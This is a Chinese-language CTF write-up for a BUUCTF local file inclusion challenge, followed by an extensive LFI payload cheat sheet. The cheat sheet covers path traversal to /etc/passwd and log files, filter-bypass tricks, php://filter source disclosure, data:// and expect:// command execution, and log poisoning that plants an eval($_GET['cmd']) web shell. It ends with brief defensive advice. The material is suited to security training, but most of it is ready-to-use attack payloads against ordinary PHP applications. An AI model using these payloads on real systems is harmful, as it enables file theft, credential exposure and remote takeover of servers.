

这是一道 ** 本地文件包含(LFI)** 的入门题,核心思路是利用 PHP 的文件包含漏洞读取服务器上的flag文件。
1. 访问靶机并分析代码
打开题目给出的链接:http://ae0c150c-f1dc-4478-b91d-31394a96e6cd.node5.buuoj.cn:81
页面会显示一段 PHP 代码,大致逻辑是:
php
运行
if (isset($_GET['file'])) {
$file = $_GET['file'];
include($file);
}
- 代码接收
GET参数file,并直接用include()函数包含该文件 - 无任何过滤,存在典型的 LFI 漏洞
2. 构造 Payload 读取 flag
在 CTF 中,flag通常存放在服务器根目录/flag,我们直接构造 URL:
plaintext
http://ae0c150c-f1dc-4478-b91d-31394a96e6cd.node5.buuoj.cn:81/?file=/flag
访问后页面会直接显示flag内容,复制提交即可。
如果
/flag路径不生效,也可以尝试路径穿越:plaintext
?file=../../../../flag用
../向上跳转目录,最终定位到根目录的flag文件。
3. 提交 Flag
将页面显示的flag(格式通常为flag{...})复制到题目下方的输入框,点击提交即可完成解题。✅
💡 原理总结
这道题的核心是无过滤的文件包含:
- 攻击者可控
file参数,直接指定服务器上的任意文件路径 - PHP 的
include()会读取并执行(如果是 PHP)或展示(如果是文本)目标文件内容 - 本题只需读取文本形式的
flag,无需代码执行
📝 LFI 漏洞常见 Payload 清单
一、基础文件读取(无过滤场景)
1. 直接读取绝对路径
plaintext
?file=/etc/passwd # Linux 系统用户信息
?file=/flag # CTF 常见 flag 位置
?file=/var/log/apache2/access.log # Apache 访问日志
?file=C:\Windows\System32\drivers\etc\hosts # Windows hosts 文件
2. 相对路径穿越(绕过简单过滤)
plaintext
?file=../../../../etc/passwd
?file=....//....//....//etc/passwd # 绕过 ../ 过滤
?file=..././..././etc/passwd # 绕过 ../ 过滤
二、PHP 协议利用(进阶利用)
1. php://filter 读取源码(关键!)
用于读取 PHP 等脚本文件的源码,避免被直接执行:
plaintext
?file=php://filter/convert.base64-encode/resource=index.php
?file=php://filter/read=convert.base64-encode/resource=config.php
得到 Base64 后解码即可看到源码。
2. data:// 执行代码(需要 allow_url_include=On)
plaintext
?file=data://text/plain,<?php system('id');?>
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKGlkKTs/Pg==
3. expect:// 执行系统命令(需要安装 expect 扩展)
plaintext
?file=expect://id
?file=expect://ls /
4. phar:// 反序列化利用(配合反序列化漏洞)
plaintext
?file=phar://shell.phar/shell.txt
三、日志包含 Getshell(经典 getshell 方式)
1. Apache 日志包含
-
先在 User-Agent 中写入一句话木马: plaintext
<?php eval($_GET['cmd']);?> -
访问日志文件: plaintext
?file=/var/log/apache2/access.log ?file=/var/log/httpd/access.log -
访问
?cmd=id执行命令。
2. Nginx 日志包含
plaintext
?file=/var/log/nginx/access.log
?file=/var/log/nginx/error.log
3. SSH 日志包含
plaintext
?file=/var/log/auth.log
?file=/var/log/secure
先通过 SSH 连接时写入恶意代码到日志,再包含执行。
四、绕过技巧
1. 绕过路径限制
- 双写绕过:
....//→ 解析为../ - 编码绕过:
%2e%2e%2f→../ - 空字节截断(PHP < 5.3.4):
?file=/flag%00
2. 绕过后缀限制
- 点号截断:
?file=/flag............ - 路径长度截断:
?file=/../../../../../../../../../../../../flag - 协议绕过:用
php://filter等协议直接读取。
五、CTF 场景高频 Payload
表格
| 场景 | Payload |
|---|---|
| 读 flag | ?file=/flag |
| 读源码 | ?file=php://filter/convert.base64-encode/resource=index.php |
| 日志 getshell | ?file=/var/log/apache2/access.log |
| Windows 读 hosts | ?file=C:\Windows\System32\drivers\etc\hosts |
六、防御建议
- 固定文件路径白名单,不允许用户直接控制文件路径
- 过滤
../、php://等危险字符 - 关闭
allow_url_include和不必要的 PHP 协议 - 使用
open_basedir限制 PHP 可访问的目录